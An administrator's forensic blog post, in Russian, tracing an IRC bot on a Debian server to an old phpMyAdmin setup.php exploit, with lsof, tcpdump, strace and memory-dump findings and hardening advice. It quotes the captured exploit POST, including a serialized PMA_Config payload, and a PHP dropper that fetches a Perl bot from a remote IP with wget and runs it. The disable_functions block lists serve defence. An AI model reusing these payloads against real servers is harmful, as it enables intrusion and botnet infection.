Pull to refresh

Анализ проникновения бота через эксплоит в старых версиях phpmyadmin и рекомендации по настройкам безопасности php-хостинга

Reading time 11 min
Views 12K
Имею на администрировании несколько серверов, на которых хостятся восновном свои проекты, но кроме них ещё довольно много пришлось разместить левых сайтов — клиентов, знакомых, знакомых знакомых и т.п. За время администрирования встречались разные проблемы, поэтому настроены кое-какие мониторинги (zabbix и самописные скрипты).

И вот вчера на одном из серверов скрипт, проверяющий активные соединения, забил тревогу: постоянно висит исходящее соединение на неизвестный хост на порт 433, уже более 9 часов на момент когда я осилил прочитать почту в понедельник утром ;)

При беглом просмотре кроме этого активного соединения больше никаких аномалий и левых процессов в системе не было обнаружено, резкого роста трафика на интерфейсе тоже не обнаружено, но это меня не успокоило, поэтому пришлось выяснять подробнее.

По результатам анализа я выяснил что подобная дыра в безопасности может быть на большинстве серверов с базовыми настройками PHP, поэтому решил сделать пост на хабре чтобы обезопасить остальных владельцев серверов с хостингом от подобных случаев, а также описал способы поиска источников попадания заразы на сервер.

Система установлена Debian Lenny с последними обновлениями, даже частично из backports squeeze, работают postfix+dovecot, apache2, lighttpd, mysql, php, perl — вобщем почти базовая конфигурация.

Мой самописный скрипт, который обнаружил это соединение, делает следующее: раз в 30 минут запускает команду lsof -nP -i :80,443,25 +c 15 (список активных исходящих соединений на порты 80,443,25), вырезает из неё мой почтовый сервер postfix и ещё некоторые мои процессы, и если кроме них ещё кто-то держит соединение, то сразу включает режим паники.

По результатам работы этого скрипта я получил следующую информацию:
perl 31621 www-data 4u IPv4 123556667 TCP [мой_ip]:59216->81.223.126.136:443 (ESTABLISHED)

Я сразу же подключился по ssh, сделал ps aux, который меня очень удивил:
UID PID PPID C STIME TTY TIME CMD
www-data 31621 1 0 20:15 ? 00:00:00 /usr/sbin/apache2 -k start

Т.е. ps меня утверждал что это не perl, а апач.

Поэтому захотелось узнать точное время появления этого процесса в системе, чтобы перерыть логи за это время, а скрипт имеет 30-минутный лаг, за который в логах очень много всего понаписаться успело. Оказалось, что выяснить конкретную дату старта довольно проблематично, команда ps aux выдавала только дату запуска (прошлый день, 12 Dec), в /proc/ даты создания файлов и остальная обнаруженная беглым просмотром инфа не совпадало с интервалом сообщения от скрипта, но после активного гугления мне удалось найти волшебную команду и выяснить конкретное время запуска данного процесса с точностью до секунды:
# ps -eo pid,lstart,cmd
во второй колонке отображает точное время запуска процесса, для моего процесса 12.12.2010 23:59:40.

Тщательно просмотрев логи каждого виртуалхоста за это время вплоть до минус 5 минут с этого момента я не нашёл ничего аномального! Также построил дерево процессов и увидел что данный процесс не имеет родителей (родитель с pid 0). А обращений с IP куда висит коннект (81.223.126.136) вообще не было в логах ни одного демона.

Далее, погуглив относительно perl, я выяснил что в нём довольно просто можно сменить параметр command на любой другой текст, делается это через переменную $0, т.е. запущенный perl-процесс можно отобразить как mysqld, init или любой другой демон.

Итого, имеем активный процесс perl без родителя, который висит уже более 9 часов и неизвестно откуда запущен, хотя на хостинге у меня везде только PHP. Поэтому даже перезапуск apache оставляет этот процесс висеть активным.

Далее я попробовал проанализировать трафик через tcpdump:
000033 IP [my_ip].55026 > 81.223.126.136.443: . ack 1 win 46 <nop,nop,timestamp 575834701 2876573490>
000172 IP [my_ip].55026 > 81.223.126.136.443: P 1:13(12) ack 1 win 46 <nop,nop,timestamp 575834701 2876573490>
001043 IP 81.223.126.136.443 > [my_ip].54320: . ack 163 win 54 <nop,nop,timestamp 2876573490 575834655>
183151 IP 81.223.126.136.443 > [my_ip].55026: . ack 13 win 46 <nop,nop,timestamp 2876573536 575834701>
000022 IP [my_ip].55026 > 81.223.126.136.443: P 13:145(132) ack 1 win 46 <nop,nop,timestamp 575834747 2876573536>
000005 IP 81.223.126.136.443 > [my_ip].55026: P 1:77(76) ack 13 win 46 <nop,nop,timestamp 2876573536 575834701>
000006 IP [my_ip].55026 > 81.223.126.136.443: . ack 77 win 46 <nop,nop,timestamp 575834747 2876573536>
001213 IP 81.223.126.136.47092 > [my_ip].113: S 4059834353:4059834353(0) win 5840 <mss 1460,sackOK,timestamp 2876573536 0,nop,wscale 7>
000019 IP [my_ip].113 > 81.223.126.136.47092: S 2188075368:2188075368(0) ack 4059834354 win 5792 <mss 1460,sackOK,timestamp 575834748 2876573536,nop,wscale 7>


И ещё нашёл в команде htop возможность делать strace:
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 559974})
read(4, "ERROR :Closing Link: Fasso'[sea.q"..., 4096) = 76
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599998})
read(4, ""..., 4096) = 0
close(4) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 4
ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)
lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)
lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
fcntl(4, F_SETFD, FD_CLOEXEC) = 0
connect(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("81.223.126.136")}, 16) = 0
getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0
write(4, "NICK Fasso'\n"..., 12) = 12
getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0
write(4, "USER fake [my_ip] 81.223.1"..., 132) = 132
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigaction(SIGCHLD, NULL, {SIG_IGN}, 8) = 0
nanosleep({2, 0}, {2, 0}) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599997})
read(4, "NOTICE AUTH :*** Looking up your "..., 4096) = 113
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})
read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66
write(4, "PONG :258562266\n"..., 16) = 16
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})
read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
15:59:55 icq.j-im.ru 
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})
read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66
write(4, "PONG :258562266\n"..., 16) = 16
select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})
read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50
select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)


Из этих данных я выяснил, что данный бот периодически обменивается информацией с сервером (где-то раз в 30-60 секунд), т.е. активно работает, но много трафика не генерит, увидел хост god.undernet.hk, но в поиске источника попадания данного бота в систему это мне никак не помогло.

Далее, ещё пораскинув мозгами, я сделал lsof -p 31621 и получил следующий вывод:
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
perl 31621 www-data cwd DIR 9,4 640 2 /tmp
perl 31621 www-data rtd DIR 9,1 4096 2 /
perl 31621 www-data txt REG 9,1 6848 245277 /usr/bin/perl
perl 31621 www-data mem REG 9,1 25536 310438 /usr/lib/perl/5.10.0/auto/Socket/Socket.so
perl 31621 www-data mem REG 9,1 19704 310433 /usr/lib/perl/5.10.0/auto/IO/IO.so
perl 31621 www-data mem REG 9,1 39112 1404408 /lib/libcrypt-2.7.so
perl 31621 www-data mem REG 9,1 1375536 262722 /lib/libc-2.7.so
perl 31621 www-data mem REG 9,1 130114 261372 /lib/libpthread-2.7.so
perl 31621 www-data mem REG 9,1 534736 1404410 /lib/libm-2.7.so
perl 31621 www-data mem REG 9,1 14616 1404409 /lib/libdl-2.7.so
perl 31621 www-data mem REG 9,1 1499352 246277 /usr/lib/libperl.so.5.10.0
perl 31621 www-data mem REG 9,1 119288 262716 /lib/ld-2.7.so
perl 31621 www-data 0u unix 0xffff880080459200 122918994 /tmp/php.socket-1
perl 31621 www-data 1w FIFO 0,8 123556620 pipe
perl 31621 www-data 2w REG 9,1 838 979223 /var/log/lighttpd/error.log
perl 31621 www-data 3u unix 0xffff880020d31500 123039634 /tmp/php.socket-1
perl 31621 www-data 4u IPv4 123556667 TCP [мой_ip]:59216->136-126-223-81.static.edis.at:https (ESTABLISHED)


Данный вывод меня удивил ещё больше наличием слова lighttpd (у меня на сервере 2 ip, на одном висит apache, на другом lighttpd), хотя в ps процесс представлялся апачем, а запустили его по-видимому из /tmp.

После дальнейшего раскидывания мозгами решил сделать дамп памяти данного процесса, но чтение /proc//mem не помогло. Зато помогла команда gcore (из пакет gdb) — с её помощью я смог сделать дамп памяти данного процесса на 3.2мб и стал его просматривать вручную. При просмотре удалось глазами заметить следующие текстовые фрагменты:
@fakeps
/usr/sbin/apache2 -k start
god.txt
HTTP_HOST=[my_ip]..!.......DOCUMENT_ROOT=/var/www/.A.......SCRIPT_FILENAME=/var/www/phpmyadmin3/scripts/setup.php..A.......SCRIPT_NAME=/phpmyadmin3/scripts/setup.php..............!.......PHP_FC
GI_CHILDREN=16....1.......PATH=/sbin:/bin:/usr/sbin:/usr/bin......!.......PWD=/tmp................1.......REMOTE_ADDR=62.193.226.196..............!.......SHLVL=1.................1.......PHP_FCGI_MAX_REQUESTS=10000.............1.......OLDPWD=/
var/www/phpmyadmin3.............!......._=/usr/bin/perl

Ого, попался! Перл был запущен из PHP-скрипта /var/www/phpmyadmin3/scripts/setup.php
Лезем в гугл, набираем «phpmyadmin setup.php exploit» и находим рабочий эксплоит: www.securityfocus.com/bid/34236 — он был обнаружен 2009-03-24, также есть на оф.сайте phpmyadmin: www.phpmyadmin.net/home_page/security/PMASA-2009-3.php и исправлен только в версиях 2.11.9.5 и 3.1.3.1.

Данный phpmyadmin был поставлен мной довольно давно вручную, т.к. в репозитории не было 3 версии, стояла версия 3.0.0-rc2, т.е. старая, ещё с незалатанной дыркой, и потом о ней я благополучно забыл и осталась она висеть мёртвым грузом до сегодняшнего дня.

Далее, уже зная адрес php скрипта, удалось найти обращения и в логах lighttpd:
62.193.226.196 [my_ip] - [12/Dec/2010:15:54:57 +0300] "GET /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 14083 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"
62.193.226.196 [my_ip] - [12/Dec/2010:15:54:59 +0300] "POST /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 556203 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"

Единственное что мне непонятно — это такая разница во времени, запрос был в 15:54, а процесс появился в 23:59.

Захотелось всё же узнать что это за бот, который мне подсунули, поэтому вместо блокирования доступа к скрипту прописываем туда ловушку:
$loginfo['date']=date('c');
$loginfo['env']=var_export($_ENV,true);
$loginfo['get']=var_export($_GET,true);
$loginfo['post']=var_export($_POST,true);
file_put_contents('log.txt',var_export($loginfo,true),FILE_APPEND); 

Ловушка не заставила себя долго ждать, в 22 часа следующего дня ловит снова обращение к данному скрипту, и мы уже имеем код эксплоита:
  'post' => 'array (
  \'action\' => \'lay_navigation\',
  \'eoltype\' => \'unix\',
  \'token\' => \'4b179cfc2f788d828bf9ff8d2f122459\',
  \'configuration\' => \'a:1:{i:0;O:10:\\\\"PMA_Config\\\\":1:{s:6:\\\\"source\\\\";s:44:\\\\"	ftp://web1:l33t@85.25.132.71/html/godbot.txt\\\\";}}\',
)' 

Скачиваем данный файл через wget и видим:
<?php  system("cd /tmp;killall -9 perl;wget -O god.txt 67.19.118.242/god.txt;perl god.txt;rm -f god.txt*");die;

Далее по ссылке уже получаем сам код бота (34 кбайт), кому интересно можете скачать его и посмотреть.

Итого, мне удалось выяснить источник проникновения данного бота и получить код самого бота. Осталось залатать дыры ;)

Надеюсь описание моего анализа поможет другим админам в поиске и анализе всяческой нечисти на своих серверах.

Как обезопаситься от подобных случаев


Самое первое что приходит в голову — надо вовремя обновляться до свежих версий. Да, в данном конкретном случае я сам виноват что не следил за версией phpmyadmin, но ведь каждого клиента на хостинге нельзя заставить постоянно обновлять свои phpmyadmin, которые они очень часто закачивают на сайте, поэтому надо учитывать что наличие старых дырявых версий скриптов неизбежно, поэтому каждый юзер с доступом к своей домашней папке уже является источником схожих проблем, т.к. бороться за чистоту и защищённость кода на каждом сайте бесполезно, нужно предпринимать глобальные меры защиты.

Получается что каждый сервер с базовыми настройками php потенциально подвержен подобной угрозе, причём заметить что на сервере поселился такой бот практически невозможно. Поэтому я рекомендую админам заранее защитить сервер от схожих проблем и настроить мониторинг аномальной активности.

Я предпринял следующие меры защиты:


1. Настройка периодического мониторинга активных соединений, с помощью этого можно сразу заметить ненормальную активность, будь то рассылка спама php-скриптом или связь бота с сервером. В данный скрипт добавил сразу команду lsof и дамп памяти этого процесса, т.к. к моменту пока я сам доберусь до сервера скрипт может уже отработать и выгрузиться.

2. Запрет в php на запуск фукнций exec, system и т.п., т.к. они требуются очень редко, поэтому большинством клиентов не используются. Идеальным вариантом было бы логгирование использование этих функций, но как его сделать я не нашёл (кстати, может кто подскажет как сделать?), полная строка в php.ini следующая:
disable_functions = "ini_alter, curl_exec, exec, system, passthru, shell_exec, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, leak, listen, chgrp, apache_note, apache_setenv, closelog, debugger_off, debugger_on, define_sys
log_variables, openlog, syslog,ftp_exec,dl"


Хотелось бы услышать комментарии хабраюзеров правильно ли я выбрал способы защиты и кто как делает защиту от подобных случаев на своих серверах.

Также у меня остались открытыми следующие вопросы:
  1. Как можно узнать реальную команду запуска процесса и путь к нему, если она уже перезаписана самим процессом, не прибегая к дампу памяти и ручному просмотру кракозябр?
  2. Каким образом в linux можно перехватить и просмотреть весь трафик через tcpdump или схожую утилиту от определённого процесса, зная его pid?
  3. Есть ли какие-нибудь готовые решения для мониторинга нестандартной активности сервера в соединениях?
  4. Можно ли как-нибудь настроить в php логгирование выполнения функций exec и подобных?

UPD.: Кстати, данная дыра может быть не закрыта в phpmyadmin из репозиториев, нужно внимательно смотреть доки. Дырка залатана была только в версиях 2.11.9.5 и 3.1.3.1. Но например в Debian Lenny идёт 4:2.11.8.1-5+lenny6, а дырка закрыта отдельным патчем -http://www.debian.org/security/2009/dsa-1824
Более подробная информация об этой дырке: www.phpmyadmin.net/home_page/security/PMASA-2009-3.php

UPD2: Можно ли как-нибудь настроить через firewall (насколько я понимаю для linux это будет iptables) ограничение доступа к сети конкретных процессов? Например, запретить всем процессам perl коннектиться наружу. В OS Android (он тоже на ядре Linux работает) есть программа DroidWall которая позволяет разрешить/запретить доступ к сети конкретным приложениям, а вот в базовой поставке Linux (например, Debian) что-то не понял можно ли такое сделать.

UPD3: По комментариям и письмам дополнил список функций и выкинул некоторые лишние:
disable_functions = "apache_setenv, chown, chgrp, closelog, define_syslog_variables, dl, exec, ftp_exec, openlog, passthru, pcntl_exec, popen, posix_getegid, posix_geteuid, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_open, proc_terminate, shell_exec, syslog, system"

UPD4: Ещё дополнения по просьбам зрителей:
Скрипт проверки активных соединений: (писалось побыстрому на коленке только для моих личных нужд)
$out=system("lsof -nP -i :80,443,25 +c 15 | grep -v -E '^(COMMAND|apache2|zabbix|smtpd?|master|scache|host|lighttpd)' | grep -v 'wget.*>[my_ip]:80'");
if(strlen($out)) {
  $arr=explode("\n",$out);
  foreach($arr as $str) {
    echo $str."\n";
    $spl=preg_split("/\s+/",$str);
    echo `ps -f -p {$spl[1]}`."\n\n";
    echo `lsof -p {$spl[1]}`."\n\n";
  }

И прописываю его в cron на каждые 30 минут. Если что-то лишнее выводит он при запуске, то добавляем в список grep чтобы не мешалось. В итоге если что-то левое появляется, которое пытается либо спамить либо качать что-то, то сразу cron по почте меня уведомляет.

UPD4: от юзера z123: как узнать реальную программу, которая запустила процесс (если её подменили):
ps -p 123 -o comm
readlink /proc/123/exe (123 заменить на номер процесса)
Но, к сожалению, они не показывают параметры запуска и папку, а выводят только perl и /usr/bin/perl для этого бота, поэтому без дампа памяти пока не нашёл способ найти папку откуда полезла зараза (т.е. найти строку /var/www/phpmyadmin3/scripts/setup.php)
Tags:
Hubs:
+120
Comments 67
Comments Comments 67

Articles